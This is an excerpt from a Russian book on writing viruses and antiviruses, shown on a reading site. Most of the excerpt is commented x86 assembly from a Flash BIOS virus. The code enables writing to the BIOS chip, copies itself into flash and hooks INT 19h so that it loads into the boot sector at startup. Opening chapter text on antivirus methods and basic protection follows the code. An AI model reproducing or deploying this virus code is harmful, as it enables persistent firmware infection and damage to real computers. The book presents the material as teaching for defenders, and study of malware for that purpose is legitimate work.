Игорь Гульев - Создаем вирус и антивирус
- Название:Создаем вирус и антивирус
- Автор:
- Жанр:
- Издательство:неизвестно
- Год:неизвестен
- ISBN:нет данных
- Рейтинг:
- Избранное:Добавить в избранное
-
Отзывы:
-
Ваша оценка:
Игорь Гульев - Создаем вирус и антивирус краткое содержание
Virus Warning!
С этим сообщением, хоть раз в жизни, сталкивался любой пользователь компьютера. Вирмейкеры с упорством маньяков плодят все новые и новые разновидности вирусов. Бытует мнение, что избавиться от них можно лишь с помощью сложных и дорогостоящих новейших антивирусных программ. Это не совсем верно – знание принципов действия и способов внедрения вирусов поможет вовремя их обнаружить и локализовать, даже если под рукой не окажется подходящей антивирусной «вакцины».
В этой книге вы найдете обширный материал, посвященный проблеме защиты информации, рассмотренной с обеих сторон баррикад (как от лица вирмейкера, так и создателя антивирусов).
Создаем вирус и антивирус - читать онлайн бесплатно ознакомительный отрывок
Интервал:
Закладка:
inc si
inc si
;Сравним с 16. Переходим к следующему сегменту
;в начале каждого параграфа
cmp si,16
je ok_new_segment
jmp test16
;В эту точку попадаем, если место найдено
Found_storage:
;Перейдем к началу зоны
sub ax,40h
mov ds,ax
;Получим требования к сохранению состояния чипа
mov ax,0E001h
int 16h
;Проверим, сколько памяти необходимо для сохранения состояния
;чипа. Если слишком много, не будем сохранять состояние
cmp bx,512
jbe save_chipset
;Установим флаг, показывающий, что состояние не сохраняли
mov byte ptr cs:chipset,1
;Перейдем к записи
jmp write_enable
;Сюда попадаем, если Flash BIOS не обнаружен:
;записывать некуда – выходим
No_Flash_BIOS:
ret
;Сохраним состояние чипа
save_chipset:
;Установим флаг, показывающий, что состояние сохранили
mov byte ptr cs:chipset,0
;Сохраним состояние
mov al,2
push cs
pop es
mov di,offset buffer
int 16h
;Записываемся во Flash BIOS
write_enable:
;Повышаем напряжение
mov al,5
int 16h
;Разрешаем запись во Flash BIOS
mov al,7
int 16h
;Копируем 512 байт вируса во Flash BIOS
push ds
pop es
xor di,di
mov cx,512
push cs
pop ds
xor si,si
cld
rep movsb
;Здесь нужна особая осторожность. Int19h указывает на BIOS,
;позднее оно перехватывается различными программами.
;Если трассировать его, можно наткнуться на закрытую область
;или на сегмент 70h, но этого не будет при загрузке. Понятно,
;что это единственное удачное время для выполнения вируса.
;Все, что нужно – ”внедриться” в int19h.
;Можно перехватить его в том месте, где находится
;сохраненная таблица векторов, но сделаем интереснее.
;Получим смещение оригинального обработчика int19h
mov bx,es ;BX=сегмент вируса
xor ax,ax
mov ds,ax ;DS=Таблица векторов
mov di,word ptr [19h*4] ;Смещение INT 19h
mov es,word ptr [19h*4+2] ;Сегмент INT 19h
;Запишем JMP FAR по адресу точки входа в INT 19h
mov al,0EAh
stosb
mov ax,offset int19handler
stosw
mov ax,bx
stosw
;Понизим напряжение
mov ax,0E004h
int 16h
;Защитим Flash BIOS от записи
mov al,6
int 16h
;Проверим, сохранялось ли состояние чипа, если нет – выходим
cmp byte ptr cs:chipset,0
jne No_Flash_BIOS
;Восстановим состояние чипа
push cs
pop es
mov al,3
mov di,offset buffer
int 16h
jmp No_Flash_BIOS
;Флаг несохранения состояния чипа
chipset db 0
;Флаг присутствия вируса во Flash BIOS
flash_done db 0
;Наш обработчик INT 19h.
Int19Handler Proc Near
;Установим сегментный регистр ES в ноль
xor ax,ax
mov es,ax
;Проверим наличие резидентного вируса
mov ax,0ABBAh
int 13h
;Если вирус присутствует, то запускаем оригинальный
;обработчик прерывания INT 19h
cmp ax,0BAABh
jne real_int19h
;Перенесем вирус из BIOS в boot−буфер
push cs
pop ds
cld
xor si,si
mov di,7c00h
mov cx,512
rep movsb
;Запустим вирус в boot−буфере
mov dl,80h
jmp goto_Buffer
Real_int19h:
;Произведем сброс дисковой подсистемы
xor ax,ax
int 13h
;Проинициализируем значения регистров для загрузки boot−сектора
mov cx,1
mov dh,0
mov ax,0201h
mov bx,7C00h
;Проверим, откуда грузимся: если DL не нулевой,
;переходим к загрузке с жесткого диска
cmp dl,0
ja hd_int19h
;Прочтем boot−сектор с дискеты. Если при чтении происходит
;ошибка, то читаем с жесткого диска
int 13h
jc fix_hd
;Установим флаг, показывающий присутствие вируса во Flash BIOS
Goto_Buffer:
mov byte ptr es:[7C00h+offset flash_done],1
;Запустим boot−сектор, находящийся в boot−буфере
db 0EAh ;Код команды JMP FAR
dw 7c00h
dw 0
Fix_HD:
;Установим номер диска для загрузки (диск C)
mov dl,80h
HD_Int19h:
;Произведем сброс дисковой подсистемы
xor ax,ax
int 13h
;Прочтем boot−сектор
mov ax,0201h
int 13h
jc Boot
jmp Goto_Buffer
;Если не удалось загрузить boot−сектор,
;вызываем прерывание INT 18h
Boot:
int 18h
Int19Handler EndP
Flash_BIOS EndP
End_Virus:
;Размер области памяти, необходимый для дополнения
;размера вируса до 510 байт
DupSize equ 510–offset End_Virus
;Заполнение незанятой вирусом части сектора
db DupSize dup (0)
db 55h,0aah
;Место для сохранения состояния чипа
Buffer:Глава 6 Методы борьбы с вирусами
В этой главе описаны наиболее эффективные методы борьбы с вирусами, защиты от проникновения и лечения. Приведены алгоритмы необходимых действий при подозрении на наличие вируса в компьютере. Описаны меры по предотвращению «эпидемии» путем создания программы-блокировщика.
Рассмотрен пример создания программы-антивируса. Представлены исходные тексты программ с подробными комментариями.
В предыдущих главах состоялось знакомство с компьютерными вирусами, поражающими Flash BIOS, документы текстового процессора Microsoft Word 6.0 for Windows, файлы разных операционных систем и прочие. Пришло время рассмотреть различные способы борьбы с ними.
Итак, что же такое антивирус? Сразу же развеем одну часто возникающую иллюзию. Почему-то многие считают, что антивирус может обнаружить любой вирус, то есть, запустив антивирусную программу или монитор, можно быть абсолютно уверенным в их надежности. Такая точка зрения не совсем верна. Дело в том, что антивирус – это тоже программа, конечно, написанная профессионалом. Но эти программы способны распознавать и уничтожать только известные вирусы. То есть антивирус против конкретного вируса может быть написан только в том случае, когда у программиста есть в наличии хотя бы один экземпляр этого вируса. Вот и идет эта бесконечная война между авторами вирусов и антивирусов, правда, первых в нашей стране почему-то всегда больше, чем вторых. Но и у создателей антивирусов есть преимущество! Дело в том, что существует большое количество вирусов, алгоритм которых практически скопирован с алгоритма других вирусов. Как правило, такие вариации создают непрофессиональные программисты, которые по каким-то причинам решили написать вирус. Для борьбы с такими «копиями» придумано новое оружие – эвристические анализаторы. С их помощью антивирус способен находить подобные аналоги известных вирусов, сообщая пользователю, что у него, похоже, завелся вирус. Естественно, надежность эвристического анализатора не 100 %, но все же его коэффициент полезного действия больше 0,5. Таким образом, в этой информационной войне, как, впрочем, и в любой другой, остаются сильнейшие. Вирусы, которые не распознаются антивирусными детекторами, способны написать только наиболее опытные и квалифицированные программисты.
Таким образом, на 100 % защититься от вирусов практически невозможно (подразумевается, что пользователь меняется дискетами с друзьями и играет в игры, а также получает информацию из других источников, например из сетей). Если же не вносить информацию в компьютер извне, заразиться вирусом невозможно – сам он не родится.
Итак, что же можно посоветовать, чтобы сталкиваться с вирусами как можно меньше или, по крайней мере, только сталкиваться, не допуская их на жесткий диск своего винчестера. В первую очередь – самые элементарные правила «компьютерной гигиены»: проверка дискет на наличие вируса самыми надежными антивирусными программами, такими, например, как AVP или DrWeb. Очень хорошо, если на жестком диске установлен ревизор Adinf. Многие пользователи добавляют строку запуска ревизоров, антивирусов, антивирусных мониторов в конфигурационный файл AUTOEXEC.BAT – тоже весьма действенно.
Читать дальшеИнтервал:
Закладка: